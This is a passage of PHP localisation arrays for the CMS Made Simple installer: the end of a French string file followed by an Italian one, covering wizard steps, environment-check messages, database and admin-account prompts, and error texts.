$lang['step2_minupgradever'] = 'La version minimale que cet installateur peut mettre à jour est la : %s. Vous devrez peut-être mettre à jour votre installation CMSMS™ à une version plus récente, par étapes, en utilisant une autre méthode avant de compléter ce processus de mise à jour. Veuillez-vous assurer que vous disposez d\'une sauvegarde complète et vérifiée (fichiers et base de données) avant d\'utiliser toute méthode de mise à jour.';
$lang['step2_nocmsms'] = 'Nous n\'avons pas trouvé d\'installation de CMS Made Simple™ dans ce dossier. Il semble donc que vous vouliez faire une nouvelle installation.';
$lang['step2_nofiles'] = 'Comme demandé, les fichiers CMSMS Core ne seront pas traités pendant ce processus';
$lang['step2_passed'] = 'Passé';
$lang['step2_pwd'] = 'Votre dossier de travail courant&nbsp;';
$lang['step2_schemaver'] = 'Version du schéma de base de données&nbsp;';
$lang['step2_version'] = 'Votre version&nbsp;';
$lang['step3_failed'] = 'L\'installateur a effectué de nombreux tests de votre environnement PHP et un ou plusieurs de ces tests ont échoué. Vous devez corriger ces erreurs dans votre configuration avant de continuer. Une fois que vous aurez corrigé les erreurs, cliquez sur "Nouvel essai" ci-dessous.';
$lang['step3_passed'] = 'L\'installateur a effectué de nombreux tests de votre environnement PHP et ils ont tous réussi. C\'est une excellente nouvelle. Même s\'il ne s\'agit pas de tests garantis à 100 %, vous ne devriez avoir aucune difficulté à exécuter l\'installation de base de CMSMS™.';
$lang['step9_get_help'] = 'Connectez-vous avec d’autres développeurs CMSMS et obtenez de l\'aide des façons suivantes ';
$lang['step9_get_support'] = 'Canaux d’assistance';
$lang['step9_join_community'] = 'Rejoignez notre communauté';
$lang['step9_love_cmsms'] = 'Vous appréciez CMS Made Simple ';
$lang['step9_removethis'] = '<strong>ATTENTION</strong> Pour des raisons de sécurité, il est important que vous supprimiez l\'assistant d\'installation de votre hébergement une fois que vous aurez vérifié la réussite de l\'opération.';
$lang['step9_support_us'] = 'Cliquez ici pour découvrir comment vous pouvez nous soutenir';
$lang['symbol'] = 'Symbole';
$lang['social_message'] = 'CMS Made Simple™ a été installé correctement !';
$lang['test_failed'] = 'Un test requis a échoué';
$lang['test_passed'] = 'Un test réussi <em>(les tests passés sont seul affichés dans le mode avancé)</em>';
$lang['test_warning'] = 'Un paramètre est supérieur à la valeur requise, mais inférieur à la valeur recommandée, ou... <br>Une fonction qui peut être requise pour certaines fonctionnalités facultatives n\'est pas disponible.';
$lang['th_status'] = 'Statut';
$lang['th_testname'] = 'Test&nbsp;';
$lang['th_value'] = 'Valeur';
$lang['title_error'] = 'Houston, nous avons un problème !';
$lang['title_step2'] = 'Étape 2 - Détection de l\'installation existante';
$lang['title_step3'] = 'Étape 3 - Tests';
$lang['title_step4'] = 'Étape 4 - Informations sur la configuration de base';
$lang['title_step5'] = 'Étape 5 - Informations sur le compte d\'administration';
$lang['title_step6'] = 'Étape 6 - Paramètres du Site';
$lang['title_step7'] = 'Étape 7 - Installation des fichiers';
$lang['title_step8'] = 'Étape 8 - Travail sur la base de données';
$lang['title_step9'] = 'Étape 9 - Finalisation';
$lang['title_welcome'] = 'Bienvenue';
$lang['title_forum'] = 'Forum';
$lang['title_docs'] = 'Documentation officielle';
$lang['title_api_docs'] = 'Documentation officielle sur l\'API';
$lang['to'] = 'à';
$lang['title_share'] = 'Partagez votre expérience avec vos amis.';
$lang['tmpfile'] = 'Vérification de la fonction tmpfile()';
$lang['tmp_dirs_empty'] = 'Assurez-vous que les dossiers temporaires sont vides ou n\'existent pas';
$lang['upgrade'] = 'Mise à jour';
$lang['upgrade_deleteoldevents'] = 'Suppression des anciens évènements';
$lang['upgrading_schema'] = 'Mise à jour du schéma de base de données';
$lang['upload_max_filesize'] = 'Contrôle de la taille maximale des fichiers uploadés';
$lang['username'] = 'Nom d\'utilisateur';
$lang['warn_disable_functions'] = 'Remarque : une ou plusieurs fonctions PHP sont désactivées. Cela peut avoir des répercussions négatives sur votre installation de CMSMS™, particulièrement avec les extensions tierce partie. Vérifiez régulièrement votre journal des erreurs (logs). Les fonctions désactivées sont : <br><br>%s';
$lang['warn_max_execution_time'] = 'Bien que la valeur du temps d\'exécution maximum (max_execution_time) de %s est supérieure (ou égale) à la valeur minimale de %s, nous vous recommandons de l\'augmenter à la valeur de %s ou plus';
$lang['warn_memory_limit'] = 'Votre valeur de limite de mémoire (memory_limit) est %s, ce qui est supérieur au minimum de %s. Cependant %s est recommandé.';
$lang['warn_open_basedir'] = 'open_basedir est activé dans votre configuration PHP. Bien que vous puissiez continuer, CMSMS n\'assure pas de support sur les installations faites avec les restrictions open_basedir';
$lang['warn_post_max_size'] = 'Votre valeur maximum par méthode POST (post_max_size) est de %s et dépasse la valeur minimale de %s, cependant, nous vous recommandons de la porter à %s et faire en sorte qu\'elle soit supérieure à "upload_max_filesize"';
$lang['warn_tests'] = '<strong>Remarque :</strong> réussir tous ces tests devrait assurer que les fonctions essentielles de CMSMS™ fonctionnent correctement pour la plupart des sites. Cependant, au fur et à mesure que le site se développe et reçoit de nouvelles fonctionnalités, ces valeurs minimales peuvent devenir insuffisantes. En outre, les modules tiers peuvent avoir des exigences supplémentaires pour fonctionner correctement.';
$lang['warn_upload_max_filesize'] = 'Bien que votre paramètre de %s soit suffisant, nous recommandons d’augmenter le paramètre "upload_max_filesize" dans la configuration PHP à un minimum de %s';
$lang['welcome_message'] = 'Bienvenue ! Vous voici dans le processus d\'installation automatique de CMS Made Simple™. Ce script vérifie que votre hébergement est compatible avec CMSMS™, vous permettant ainsi d\'installer ou de mettre à jour la dernière version de CMSMS™ rapidement et facilement. <br>Nous savons que vous allez l\'apprécier.';
$lang['wizard_step1'] = 'Bienvenue';
$lang['wizard_step2'] = 'Détection de l\'installation existante';
$lang['wizard_step3'] = 'Tests de compatibilité';
$lang['wizard_step4'] = 'Information de configuration';
$lang['wizard_step5'] = 'Informations sur le compte d\'administration';
$lang['wizard_step6'] = 'Paramètres du site';
$lang['wizard_step7'] = 'Fichiers';
$lang['wizard_step8'] = 'Gestion de la base de données';
$lang['wizard_step9'] = 'Finalisation';
$lang['xml_functions'] = 'Vérification des fonctionnalités XML';
$lang['yes'] = 'Oui';
?><?php
$lang['action_freshen'] = 'Rinnovamento / Riparazione di una installazione CMSMS %s';
$lang['action_install'] = 'Creazione di un nuovo sito con CMSMS %s';
$lang['action_upgrade'] = 'Aggiornamento di un sito con CMSMS alla versione %s';
$lang['advanced_mode'] = 'Abilita modalità avanzata';
$lang['apptitle'] = 'Assistente installazione e aggiornamento';
$lang['assets_dir_exists'] = 'Directory assets esistente';
$lang['available_languages'] = 'Lingue disponibili';
$lang['build_date'] = 'Data di creazione';
$lang['changelog_uc'] = 'CHANGELOG';
$lang['cleaning_files'] = 'Pulizia dei file non più applicabili al rilascio';
$lang['config_writable'] = 'Controllo file di configurazione scrivibile';
$lang['confirm_freshen'] = 'Sicuro di voler rinnovare (riparare) l\'installazione esistente di CMSMS? Usare con estrema cautela!';
$lang['confirm_upgrade'] = 'Sicuro di voler iniziare il processo di aggiornamento';
$lang['curl_extension'] = 'Controllo estensione Curl';
$lang['create_assets_structure'] = 'Creazione di un percorso per le risorse dei file';
$lang['database_support'] = 'Controllo driver di database compatibili';
$lang['desc_wizard_step1'] = 'Inizia l\'installazione o il processo di aggiornamento';
$lang['desc_wizard_step2'] = 'Analizza directory di destinazione per trovare il software esistente';
$lang['desc_wizard_step3'] = 'Controllo che tutto sia OK per installare il CMSMS Core';
$lang['desc_wizard_step4'] = 'Per le nuove installazioni, e le operazioni di rinnovamento, immettere le informazioni configurazione di base';
$lang['desc_wizard_step5'] = 'Per le nuove installazioni, immettere le informazioni account Admin';
$lang['desc_wizard_step6'] = 'Per le nuove installazioni inserire alcuni dettagli di base del sito';
$lang['desc_wizard_step7'] = 'Estrazione files';
$lang['desc_wizard_step8'] = 'Creazione o aggiornamento dello schema del database, impostazione eventi iniziali, permessi, account utente, template, fogli di stile e contenuti';
$lang['desc_wizard_step9'] = 'Installazione e/o aggiornamento dei moduli se necessario, scrittura file di configurazione, e pulizia.';
$lang['destination_directory'] = 'Directory di destinazione';
$lang['dest_writable'] = 'Permesso di scrittura nella directory di destinazione';
$lang['disable_functions'] = 'Controllo funzioni disabilitate';
$lang['done'] = 'fatto';
$lang['email_accountinfo_message'] = 'L\'installazione di CMS Made Simple è completa.

Questa email contiene informazioni sensibili e deve essere conservata in un luogo sicuro.

Ecco i dettagli della vostra installazione.
username: %s
Password: %s
directory di installazione: %s
url root: %s';
$lang['email_accountinfo_message_exp'] = 'L\'installazione di CMS Made Simple è completa.

Questa email contiene informazioni sensibili e deve essere conservata in un luogo sicuro.

Ecco i dettagli della vostra installazione.
username: %s
Password: %s
directory di installazione: %s';
$lang['email_accountinfo_subject'] = 'Installazione di CMS Made Simple riuscita con successo';
$lang['emailaccountinfo'] = 'Invio informazioni account via e-mail';
$lang['emailaddr'] = 'Indirizzo e-mail';
$lang['error_adminacct_emailaddr'] = 'L\'indirizzo e-mail che hai indicato non è valido';
$lang['error_adminacct_emailaddrrequired'] = 'Hai scelto l\'invio delle informazioni dell\'account via e-mail ma l\'indirizzo che hai indicato non è valido';
$lang['error_adminacct_password'] = 'La password specificata non è (valida Deve essere di almeno 6 caratteri)';
$lang['error_adminacct_repeatpw'] = 'La password inserita non corrisponde.';
$lang['error_adminacct_username'] = 'L\'username indicato non è valido.  Per favore riprova.';
$lang['error_admindirrenamed'] = 'Sembra che, per ragioni di sicurezza, tu possa aver rinominato la directory admin del tuo CMSMS. Devi invertire <a href="https://docs.cmsmadesimple.org/general-information/securing-cmsms#renaming-admin-folder" target="_blank" class="external">questo processo</a> al fine di procedere!<br/><br/>Una volta ripristinato il nome della directory admin al percorso originale, ricarica questa pagina.';
$lang['error_backupconfig'] = 'Non è stato possibile effettuare correttamente il backup del file di configurazione';
$lang['error_checksum'] = 'Il checksum  del file estratto non corrisponde all\'originale';
$lang['error_cmstablesexist'] = 'Sembra che ci sia già un\'installazione di CMSMS in questo database. Per favore inserisci delle informazioni diverse per il database. Se desideri usare un diverso prefisso per le tabelle devi riavviare il processo di installazione ed attivare la modalità avanzata.';
$lang['error_createtable'] = 'Problema durante la creazione della tabella nel database.  Forse è una questione di permessi';
$lang['error_dbconnect'] = 'Non è stato possibile collegarsi al database.  Per favore ricontrolla le credenziali fornite';
$lang['error_dirnotvalid'] = 'La directory %s non esiste (o non è scrivibile)';
$lang['error_droptable'] = 'Problema durante l\'eliminazione della tabella.  Forse è una questione di permessi';
$lang['error_filenotwritable'] = 'Non è stato possibile sovrascrivere il file %s (problema di permessi)';
$lang['error_internal'] = 'Spiacente, qualcosa non ha funzionato... (internal error) (%s)';
$lang['error_invalid_directory'] = 'Sembra che la directory che hai scelto per l\'installazione sia una directory di lavoro dello stesso installer';
$lang['error_invalidconfig'] = 'Errore nel file di configurazione oppure manca il file di configurazione';
$lang['error_invaliddbpassword'] = 'La password del database contiene dei caratteri non validi che non possono essere salvati in modo sicuro.';
$lang['error_invalidkey'] = 'Variabile membro non valida o chiave %s per la classe %s';
$lang['error_invalidparam'] = 'Parametro o valore del parametro non valido: %s';
$lang['error_invalidtimezone'] = 'Il fuso orario specificato non è valido';
$lang['error_invalidqueryvar'] = 'La variabile della query inserita contiene caratteri non validi.  Per favore usa solo caratteri alfanumerici ed il segno di sottolineato.';
$lang['error_missingconfigvar'] = 'La chiave "%s" risulta mancante o non valida nel file config.ini';
$lang['error_noarchive'] = 'Problema nel trovare il file archivio... Per favore ricomincia';
$lang['error_nlsnotfound'] = 'Problema nel trovare i file NLS nell\'archivio';
$lang['error_nodatabases'] = 'Non è stato possibile trovare un\'estensione compatibile del database';
$lang['error_nodbhost'] = 'Per favore inserisci un hostname valido oppure un indirizzo IP per la connessione del database';
$lang['error_nodbname'] = 'Per favore inserisci il nome di un database valido presso l\'host specificato qui sopra';
$lang['error_nodbpass'] = 'Per favore inserisci una password valida per l\'autenticazione col database';
$lang['error_nodbprefix'] = 'Per favore inserisci un prefisso valido per le tabelle del database';
$lang['error_nodbtype'] = 'Per favore seleziona un tipo di database';
$lang['error_nodbuser'] = 'Per favore inserisci un username valido per l\'autenticazione col database';
$lang['error_nodestdir'] = 'Directory di destinazione non impostata';
$lang['error_nositename'] = 'Il nome del sito è un parametro richiesto. Per favore inseriscine uno adeguato per il tuo sito.';
$lang['error_notimezone'] = 'Per favore inserisci un fuso orario valido per questo server';
$lang['error_overwrite'] = 'Problema con i permessi: non posso sovrascrivere %s';
$lang['error_sendingmail'] = 'Errore nell\'invio della mail';
$lang['error_tzlist'] = 'Si è verificato un problema nel recuperare l\'elenco degli identificatori del fuso orario';
$lang['errorlevel_estrict'] = 'Controllo per E_STRICT';
$lang['errorlevel_edeprecated'] = 'Controllo per E_DEPRECATED';
$lang['edeprecated_enabled'] = 'E_DEPRECATED è attivato in PHP error_reporting.  Sebbene ciò non impedirà a CMSMS di funzionare, potrebbero venire visualizzati dei warning nelle schermate di output, in particolar modo con vecchi moduli di terze parti';
$lang['estrict_enabled'] = 'E_STRICT è attivato in PHP error_reporting. Sebbene ciò non impedirà a CMSMS di funzionare, potrebbero essere visualizzati dei warning nell\'output HTML, in particolar modo con vecchi moduli di terze parti';
$lang['fail_assets_dir'] = 'Una directory assets esiste già.  Questa applicazione potrebbe scrivere in questa directory per razionalizzare il percorso dei file.  Per favore assicurati di avere un backup';
$lang['fail_assets_msg'] = 'Una directory assets esiste già.  Questa applicazione potrebbe scrivere in questa directory per razionalizzare il percorso dei file.  Per favore assicurati di avere un backup';
$lang['fail_config_writable'] = 'Il processo HTTP non pu&ograve scrivere nel file config.php. Per favore cerca di cambiare i permessi di questo file a 777 fino a che il processo di aggiornamento non sarà completato';
$lang['fail_curl_extension'] = 'L\'estensione curl non è stata trovata. Sebbene non sia un problema critico, ciò potrebbe provocare problemi con alcuni moduli di terze parti';
$lang['fail_database_support'] = 'Non sono stati trovati driver del database compatibili';
$lang['fail_file_get_contents'] = 'La funzione file_get_contents non esiste oppure è disattivata. CMSMS non può continuare (probabilmente anche l\'installer fallirà)';
$lang['fail_file_uploads'] = 'Le funzionalità di caricamento dei file sono disattivate in questo ambiente. Alcune funzioni di CMSMS non funzioneranno in questo ambiente';
$lang['fail_func_json'] = 'La funzionalità json non è stata trovata';
$lang['fail_func_gzopen'] = 'La funzione gzopen non è stata trovata';
$lang['fail_func_md5'] = 'La funzionalità md5 non è stata trovata';
$lang['fail_func_tempnam'] = 'La funzione tempnam non esiste. E\' una funzione richiesta per il funzionamento di CMSMS';
$lang['fail_func_ziparchive'] = 'La funzionalità ZipArchive non è stata trovata.  Ciò potrebbe limitare il funzionamento';
$lang['fail_ini_set'] = 'Sembra che non sia possibile cambiare le impostazioni ini. Ciò potrebbe provocare problemi con i moduli di terze parti (o quando si attiva la modalità debug)';
$lang['fail_magic_quotes_runtime'] = 'Sembra che magic quotes siano attivate nella tua configurazione. Per favore disabilitale e riprova';
$lang['fail_max_execution_time'] = 'Il tuo tempo massimo di esecuzione di %s non coincide con il valore minimo di %s.  Ti raccomandiamo di aumentarlo a %s o più';
$lang['fail_memory_limit'] = 'Il valore del tuo limite di memoria è troppo basso. Tu avevi %s, ma un minimo di %s è richiesto e %s viene raccomandato';
$lang['fail_multibyte_support'] = 'Il supporto a Multibyte non è attivato nella tua configurazione';
$lang['fail_output_buffering'] = 'Non è attivato Output buffering.';
$lang['fail_open_basedir'] = 'Sono attive le restrizioni Open basedir. CMSMS richiede che ciò venga disattivato';
$lang['fail_php_version'] = 'La versione di PHP disponibile per CMSMS è di importanza critica. La versione minima accettata è la %s, sebbene si raccomandi la versione %s o superiore. Tu hai la %s';
$lang['fail_post_max_size'] = 'Il tuo post max size di %s non coincide con il valore minimo di %s. Un valore %s o superiore è raccomandato ed assicurati che sia più ampio del upload_max_filesize';
$lang['fail_pwd_writable2'] = 'Il processo HTTP deve essere in grado di scrivere nella directory di destinazione (in tutti i file e nelle directory al di sotto) al fine di installare i file. Non abbiamo i permessi di scrittura in (almeno ) %s';
$lang['fail_register_globals'] = 'Per favore disattiva register globals nella tua configurazione di PHP';
$lang['fail_remote_url'] = 'Abbiamo riscontrato dei problemi nel collegarci ad un URL remoto.  Ciò limiterà alcune funzionalità di CMS Made Simple';
$lang['fail_safe_mode'] = 'CMSMS non funzionerà correttamente in un ambiente dove sia attivato safe mode. Safe mode è deprecato in quanto modalità non più valida e verrà rimosso nelle prossime versioni di PHP';
$lang['fail_session_save_path_exists'] = 'Il valore della variabile della sessione save path non è valido';
$lang['fail_session_save_path_writable'] = 'La directory della sessione save path non è scrivibile';
$lang['fail_session_use_cookies'] = 'CMSMS richiede che il PHP sia configurato in modo da archiviare la chiave della sessione in un cookie';
$lang['fail_tmpfile'] = 'La funzione system tmpfile() non funziona. Ciò è richiesto per consentirci di estrarre gli archivi. L\'argomento dell\'url TMPDIR facoltativo può essere fornito all\'installer per indicare una directory scrivibile. Si veda il file README che dovrebbe essere incluso in questa directory.';
$lang['fail_tmp_dirs_empty'] = 'Le directory temporanee di CMSMS <em>(tmp/cache e tmp/templates_c) esistono e non sono vuote.  Per favore rimuovile o svuotale';
$lang['fail_xml_functions'] = 'L\'estensione XML non è stata trovata. Per favore attivala nel tuo ambiente PHP';
$lang['failed'] = 'fallito';
$lang['file_get_contents'] = 'Test della funzione file_get_contents';
$lang['file_installed'] = 'Installato %s';
$lang['file_uploads'] = 'Controllo il supporto per l\'upload di file';
$lang['finished_custom_freshen_msg'] = 'La tua installazione è stata rinnovata! I file del core sono stati aggiornati ed un nuovo file di configurazione è stato creato. Per favore visita il tuo sito per verificare che tutto funzioni correttamente';
$lang['finished_custom_install_msg'] = 'Fatto! Per favore visita il tuo sito ed effettua il login al pannello di amministrazione.';
$lang['finished_custom_upgrade_msg'] = 'Fatto!  Per favore visita il pannello di amministrazione del tuo CMSMS ed il frontend per verificare che tutto funzioni correttamente.<br/><strong>Suggerimento:</strong> Adesso è il momento giusto per creare un nuovo backup.';
$lang['finished_freshen_msg'] = 'La tua installazione è stata rinnovata! I file del core sono stati aggiornati ed un nuovo file di configurazione è stato creato.  Ora puoi <a href="%s">visitare  il tuo sito</a> o effettuare il login al <a href="%s">pannello di amministrazione di CMSMS</a>.';
$lang['finished_install_msg'] = 'Abbiamo finito! Ora puoi <a href="%s">visitare il tuo sito</a> o effettuare il login al <a href="%s">pannello di amministrazione di CMSMS</a>.';
$lang['finished_upgrade_msg'] = 'Tutto fatto! Per favore visita il <a href="%s">frontend del tuo sito</a> e il <a href="%s">Pannello di amministrazione</a> per verificare che funzioni correttamente. Potresti anche dover aggiornare alcuni moduli di terze parti.<br/><strong>Suggerimento:</strong> Ricordati di creare un altro backup dopo aver verificato il corretto funzionamento.';
$lang['freshen'] = 'Rinnova (ripara) installazione';
$lang['func_json'] = 'Controllo la funzionalità json di encoding e decoding';
$lang['func_md5'] = 'Controllo la funzionalità md5';
$lang['func_tempnam'] = 'Controllo funzione tempnam';
$lang['func_gzopen'] = 'Controllo funzione gzopen';
$lang['func_ziparchive'] = 'Controllo funzione ziparchive';
$lang['gd_version'] = 'Versione GD';
$lang['goback'] = 'Indietro';
$lang['info_addlanguages'] = 'Seleziona le lingue(in aggiunta all\'inglese) da installare. <strong>Nota:</strong> non tutte le traduzioni sono complete.';
$lang['info_adminaccount'] = 'Per favore fornisci le credenziali per l\'account dell\'amministratore iniziale. Questo account avrà accesso a tutte le funzionalità della console amministrativa di CMSMS.';
$lang['info_advanced'] = 'La modalità avanzata abilita altre opzioni nella procedura di installazione.';
$lang['info_dbinfo'] = 'CMS Made Simple archivia una grande mole di dati nel database. Una connessione al database è obbligatoria. Inoltre, le credenziali dell\'utente che fornisci debbono avere ALL PRIVILEGES sul database indicato per consentire la creazione, l\'eliminazione e la modifica delle tabelle, indici e views.';
$lang['info_errorlevel_edeprecated'] = 'E_DEPRECATED è un flag per la segnalazione di errori di PHP che indica che dei warnings dovrebbero essere mostrati in relazione a codice che usa tecniche deprecate.  Sebbene il core di CMSMS cerchi di assicurare che non si usino più tecniche deprecate, alcuni moduli potrebbero non farlo. Si raccomanda di disattivare questa impostazione nella configurazione di PHP';
$lang['info_errorlevel_estrict'] = 'E_STRICT è un flag per la segnalazione di errori di PHP il quale indica che devono essere rispettati rigorosi standard di codifica. Sebbene il core di CMSMS cerchi di conformarsi agli standard di E_STRICT, alcuni moduli potrebbero non farlo. Si raccomanda che questa impostazione venga disattivata nella configurazione di PHP';
$lang['info_installcontent'] = 'Di default, questo installer creerà una serie di pagine di esempio, fogli di stile e modelli  in CMSMS. I contenuti di esempio forniscono informazioni estese e suggerimenti per aiutare nella creazione di siti web con CMSMS ed è utile leggerli. Tuttavia, se hai già confidenza con CMS Made Simple, disabilitando questa opzione si otterranno un insieme minimo di modelli, fogli di stile e pagine di contenuto.';
$lang['info_open_basedir_session_save_path'] = 'open_basedir è attivato nella tua configurazione di PHP. Non è stato possibile verificare adeguatamente le capacità di sessione. Tuttavia, essendo arrivati a questopunto del processo di installazione significa probabilmente che le sessioni funzionano correttamente.';
$lang['info_pwd_writable'] = 'Questa applicazione necessita dei permessi di scrittura nella directory di lavoro corrente';
$lang['info_queryvar'] = 'La variabile della query viene usata internamente da CMSMS per identificare la pagina richiesta. Nella maggior parte dei casi non dovrebbe essere necessario regolarla.';
$lang['info_sitename'] = 'Il nome del sito viene usato nei modelli predefiniti come parte del titolo. Per favore inserisci un nome per il sito leggibile da parte di una persona';
$lang['info_timezone'] = 'L\'informazione relativa al fuso orario è necessaria per i calcoli del tempo e per le visualizzazioni di tempo/data. Per favore seleziona il fuso orario del server';
$lang['ini_set'] = 'Test della possibilità di cambiare le impostazioni INI in corso';
$lang['install'] = 'Installa';
$lang['install_attachstylesheets'] = 'Collega i fogli di stile ai temi';
$lang['install_backupconfig'] = 'Back up del file di configurazione in corso';
$lang['install_createassets'] = 'Crea struttura assets';
$lang['install_created_index'] = 'Creato indice %s ... %s';
$lang['install_create_tables'] = 'Crea tabelle database';
$lang['install_createconfig'] = 'Crea nuovo file di configurazione';
$lang['install_createcontentpages'] = 'Crea pagine di contenuto predefinito';
$lang['install_created_table'] = 'Creata tabella %s: .... %s';
$lang['install_createtablesindexes'] = 'Creazione di tabelle ed indici in corso';
$lang['install_createtmpdirs'] = 'Crea directory temporanee';
$lang['install_creating_index'] = 'Creato indice %s';
$lang['install_default_collections'] = 'Installa le collezioni predefinite';
$lang['install_defaultcontent'] = 'Installa il contenuto predefinito';
$lang['install_detectlanguages'] = 'Rileva lingue installate';
$lang['install_dropping_tables'] = 'Eliminazione tabelle in corso';
$lang['install_dummyindexhtml'] = 'Crea file index.html vuoti';
$lang['install_extractfiles'] = 'Estrai file dall\'archivio';
$lang['install_initevents'] = 'Crea eventi';
$lang['install_initsitegroups'] = 'Crea gruppi iniziali';
$lang['install_initsiteperms'] = 'Imposta i permessi iniziali';
$lang['install_initsiteprefs'] = 'Imposta le preferenze iniziali del sito';
$lang['install_initsiteusers'] = 'Crea l\'account dell\'utente iniziale';
$lang['install_initsiteusertags'] = 'Tag definiti dall\'utente iniziali';
$lang['install_module'] = 'Installa il modulo %s';
$lang['install_modules'] = 'Installa moduli disponibili';
$lang['install_passwordsalt'] = 'Imposta password salt';
$lang['install_requireddata'] = 'Imposta i dati iniziali richiesti';
$lang['install_schema'] = 'Crea schema del database';
$lang['install_setschemaver'] = 'Imposta versione schema';
$lang['install_setsequence'] = 'Resetta sequenza tabelle';
$lang['install_setsitename'] = 'Imposta il nome del sito';
$lang['install_stylesheets'] = 'Crea i fogli di stile predefiniti';
$lang['install_templates'] = 'Crea i modelli predefiniti';
$lang['install_templatetypes'] = 'Crea tipi di modelli standard';
$lang['install_update_sequences'] = 'Aggiorna sequenza tabelle';
$lang['install_updatehierarchy'] = 'Aggiorna le posizioni di gerarchia del contenuto';
$lang['install_updateseq'] = 'Aggiorna sequenza per %s';
$lang['installer_ver'] = 'Versione installer';
$lang['legend'] = 'Legenda';
$lang['magic_quotes_runtime'] = 'Assicurati che magic quotes siano disattivate';
$lang['max_execution_time'] = 'Verifica del tempo massimo di esecuzione dello script PHP in corso';
$lang['meaning'] = 'Significato';
$lang['memory_limit'] = 'Verifica di un limite sufficiente di memoria di PHP in corso';
$lang['msg_clearedcache'] = 'Pulita la cache del server';
$lang['msg_configsaved'] = 'File di configurazione esistente salvato in %s';
$lang['msg_upgrade_module'] = 'Aggiornamento in corso del modulo %s';
$lang['msg_upgrademodules'] = 'Aggiornamento dei moduli in corso';
$lang['msg_yourvalue'] = 'Tu hai: %s';
$lang['multibyte_support'] = 'Verifica del supporto multibyte';
$lang['next'] = 'Avanti';
$lang['no'] = 'No';
$lang['none'] = 'Nessuno';
$lang['open_basedir'] = 'Restrizioni open_basedir';
$lang['open_basedir_session_save_path'] = 'open_basedir è attivato. Non posso testare la sessione save path.';
$lang['output_buffering'] = 'Verifica abilitazione dell\'output del buffering';
$lang['pass_config_writable'] = 'Il processo HTTP ha il permesso di scrittura nel file config.php';
$lang['pass_database_support'] = 'Trovato almeno un driver di database compatibile';
$lang['pass_func_json'] = 'Rilevata la funzionalità json';
$lang['pass_func_md5'] = 'La funzionalità md5 è stata rilevata';
$lang['pass_func_tempnam'] = 'La funzione tempnam esiste';
$lang['pass_memory_limit_nolimit'] = 'Non c\'è un limite di memoria PHP preimpostato';
$lang['pass_multibyte_support'] = 'Il supporto Multibyte sembra essere abilitato';
$lang['pass_php_version'] = 'La versione di PHP attualmente configurata non corrisponde ai requisiti minimi. Si richiede almeno PHP %s , ma si raccomanda %s o superiore';
$lang['pass_pwd_writable'] = 'Il processo HTTP può scrivere nella directory di destinazione. Ciò è necessario per estrarre i file';
$lang['password'] = 'Password';
$lang['ph_sitename'] = 'Inserisci un nome del sito';
$lang['php_version'] = 'Versione PHP';
$lang['post_max_size'] = 'Verifica della massima quantità di dati che può essere inviata in una richiesta';
$lang['prompt_addlanguages'] = 'Lingue aggiuntive';
$lang['prompt_createtables'] = 'Crea tabelle del database';
$lang['prompt_dbhost'] = 'Hostname del database';
$lang['prompt_dbinfo'] = 'Informazioni del database';
$lang['prompt_dbname'] = 'Nome del database';
$lang['prompt_dbpass'] = 'Password';
$lang['prompt_dbport'] = 'Numero della porta del database';
$lang['prompt_dbprefix'] = 'Prefisso nome tabella del database';
$lang['prompt_dbtype'] = 'Tipo di database';
$lang['prompt_dbuser'] = 'Nome utente';
$lang['prompt_dir'] = 'Directory di installazione';
$lang['prompt_installcontent'] = 'Installa contenuti di esempio';
$lang['prompt_queryvar'] = 'Variabile Query';
$lang['prompt_sitename'] = 'Nome del sito web';
$lang['prompt_timezone'] = 'Fuso orario del server';
$lang['pwd_writable'] = 'Directory scrivibile';
$lang['queue_for_upgrade'] = 'Accodato modulo non core %s per aggiornamento al prossimo step.';
$lang['readme_uc'] = 'README';
$lang['register_globals'] = 'Verifica disabilitazione "register globals"';
$lang['remote_url'] = 'Test sulla possibilità di effettuare connessioni HTTP in uscita';
$lang['repeatpw'] = 'Ripeti password';
$lang['reset_site_preferences'] = 'Resetta alcune preferenze del sito';
$lang['reset_user_settings'] = 'Resetta le preferenze dell\'utente';
$lang['retry'] = 'Riprova';
$lang['safe_mode'] = 'Test per verificare che "safe mode" sia disabilitato';
$lang['saltpasswords'] = 'Salt Passwords';
$lang['select_language'] = 'La prima cosa che ti chiediamo di fare è quella di selezionare la tua lingua preferita dall\'elenco qui sotto. Ciò servirà a migliorare la tua esperienza durante la procedura di installazione, ma non inciderà sull\'installazione di CMSMS.';
$lang['send_admin_email'] = 'Invia e-mail con le credenziali per il login dell\'amministratore';
$lang['session_capabilities'] = 'Test sulle corrette funzionalità di sessione (le sessioni usano i cookie e il percorso di salvataggio della sessione è scrivibile, ecc)';
$lang['session_save_path_exists'] = 'Session_save_path esiste';
$lang['session_save_path_writable'] = 'Session_save_path è scrivibile';
$lang['session_use_cookies'] = 'Verifica che le sessioni PHP usino i cookie';
$lang['sometests_failed'] = 'Sono stati effettuati numerosi test del tuo attuale ambiente web. Sebbene non siano stati rilevati problemi critici, si raccomanda che i seguenti elementi vengano corretti prima di continuare.';
$lang['step1_advanced'] = 'Modalità avanzata';
$lang['step1_destdir'] = 'Seleziona la directory';
$lang['step1_info_destdir'] = '<strong>Attenzione:</strong> Questo programma può installare od aggiornare installazioni multiple di CMS Made Simple. E\' importante che tu selezioni la directory corretta per l\'installazione o per l\'aggiornamento.';
$lang['step1_language'] = 'Seleziona la lingua';
$lang['step1_title'] = 'Seleziona la lingua';
$lang['step2_cmsmsfound'] = 'E\' stata rilevata un\'installazione di CMS Made Simple. Si può aggiornare questa installazione. Tuttavia, prima di procedere, assicurati di avere un backup attuale e verificato di tutti i file e del database';
$lang['step2_cmsmsfoundnoupgrade'] = 'Sebbene sia stata rilevata un\'installazione di CMS Made Simple, non si può aggiornare questa versione usando questa applicazione. La versione potrebbe essere troppo vecchia.';
$lang['step2_confirminstall'] = 'Sei sicuro di voler installare CMS Made Simple';
$lang['step2_confirmupgrade'] = 'Sei sicuro di voler aggiornare CMS Made Simple';
$lang['step2_errorsamever'] = 'Sembra che la directory selezionata contenga già un\'installazione di CMSMS con la stessa versione inclusa in questo script. Continuando si rinnoverà l\'installazione.';
$lang['step2_errortoonew'] = 'Sembra che la directory selezionata contenga già un\'installazione di CMSMS con una versione più recente di quella contenuta in questo script. Impossibile procedere';
$lang['step2_info_freshen'] = 'Il rinnovamento dell\'installazione comporta la sostituzione di tutti i file del core e la creazione di una nuova configurazione. Ti verranno richieste alcune informazioni di base relative alla configurazione, tuttavia il database non verrà toccato.';
$lang['step2_installdate'] = 'Data approssimativa di installazione';
